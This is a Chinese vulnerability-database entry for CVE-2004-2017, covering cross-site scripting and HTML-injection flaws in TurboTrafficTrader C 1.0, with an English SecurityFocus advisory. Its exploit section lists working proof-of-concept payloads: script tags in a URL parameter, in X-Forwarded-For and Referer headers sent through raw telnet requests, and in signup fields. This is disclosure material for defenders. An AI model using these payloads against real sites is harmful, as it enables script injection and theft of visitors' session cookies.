TurboTrafficTrader C多个跨站脚本和HTML注入漏洞

TurboTrafficTrader C多个跨站脚本和HTML注入漏洞

漏洞ID 1107955 漏洞类型 跨站脚本
发布时间 2004-05-17 更新时间 2005-10-20
图片[1]-TurboTrafficTrader C多个跨站脚本和HTML注入漏洞-安全小百科CVE编号 CVE-2004-2017
图片[2]-TurboTrafficTrader C多个跨站脚本和HTML注入漏洞-安全小百科CNNVD-ID CNNVD-200412-842
漏洞平台 CGI CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/24122
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200412-842
|漏洞详情
TurboTrafficTraderC(TTT-C)1.0版本存在多个跨站脚本(XSS)漏洞。远程攻击者可以借助该漏洞注入任意HTML或web脚本。正如通过(1)ttt-out的连接参数,(2)ttt-inGET请求的X-Forwarded-For头,(3)ttt-inGET请求的Referer头或(4)站点名或(5)主控板的站点URL字段。
|漏洞EXP
source: http://www.securityfocus.com/bid/10359/info

It has been reported that TurboTrafficTrader C does not properly sanitize input received from users. It has been conjectured that this may allow a remote user to launch cross-site scripting and HTML injection attacks.

The cross-site scripting issues could permit a remote attacker to create a malicious link to the vulnerable application that includes hostile HTML and script code. If this link were followed, the hostile code may be rendered in the web browser of the victim user.

The HTML injection issues could allow an attacker to post malicious HTML and script code that would then later be rendered in the web browser of further visitors to the affected site.

These attacks would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/cgi-bin/ttt-out?link=testing%20%3Cscript%3Ealert('from_browser_insert');%3C/script%3E
http://www.example.com/cgi-bin/ttt-out?link=testing%20<script>alert('from_browser_insert');</script>

export REMOTE_ADDR="127.0.0.1<script>alert('ip_inject');</script>"
./ttt-in will load one bad record for IP
export HTTP_X_FORWARDED_FOR="10.0.0.1<script>alert('proxy insertion');</script>" 
./ttt-in will load an XXSed proxy record

Raw connection example:
telnet www.example.com 80
Trying www.example.com...
Connected to www.example.com.
Escape character is '^]'.
GET /cgi-bin/ttt-in HTTP/1.1
X-Forwarded-For: 192.168.0.1<script>alert('proxy_insert');</script>
Host: www.example.com

telnet www.example.com 80
Trying www.example.com...
Connected to www.example.com.
Escape character is '^]'.
GET /cgi-bin/ttt-in HTTP/1.1
X-Forwarded-For: 192.168.0.6<script>alert('proxy_insert');</script>
Referer: http://www.referrer.com"<script>alert('referrer_inject');</script>"
Host: www.example.com

When signing up for a new account:
Site name = Name"<script>window.open('http://www.example.com');</script>
Site URL = http://www.example.com"<script>alert('name_inject');</script>
Webmaster e-mail = [email protected]"<script>alert('email_inject');</script>
Webmaster ICQ = 123456"<script>alert('ICQ_inject');</script>
|参考资料

来源:XF
名称:turbotraffictraderc-multiple-xss(16164)
链接:http://xforce.iss.net/xforce/xfdb/16164
来源:BID
名称:10359
链接:http://www.securityfocus.com/bid/10359
来源:SECUNIA
名称:11623
链接:http://secunia.com/advisories/11623
来源:BUGTRAQ
名称:20040517MultipleTTT-CXSSvulnerabilities
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=108481571131866&w;=2
来源:OSVDB
名称:6344
链接:http://www.osvdb.org/6344
来源:OSVDB
名称:6343
链接:http://www.osvdb.org/6343
来源:OSVDB
名称:6342
链接:http://www.osvdb.org/6342
来源:OSVDB
名称:6341
链接:http://www.osvdb.org/6341
来源:OSVDB
名称:6340
链接:http://www.osvdb.org/6340
来源:OSVDB
名称:6339
链接:http://www.osvdb.org/6339

相关推荐: Comersus Cart Comersus_Search_Item.ASP Cross-Site Scripting Vulnerability

Comersus Cart Comersus_Search_Item.ASP Cross-Site Scripting Vulnerability 漏洞ID 1096881 漏洞类型 Input Validation Error 发布时间 2005-04-12…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享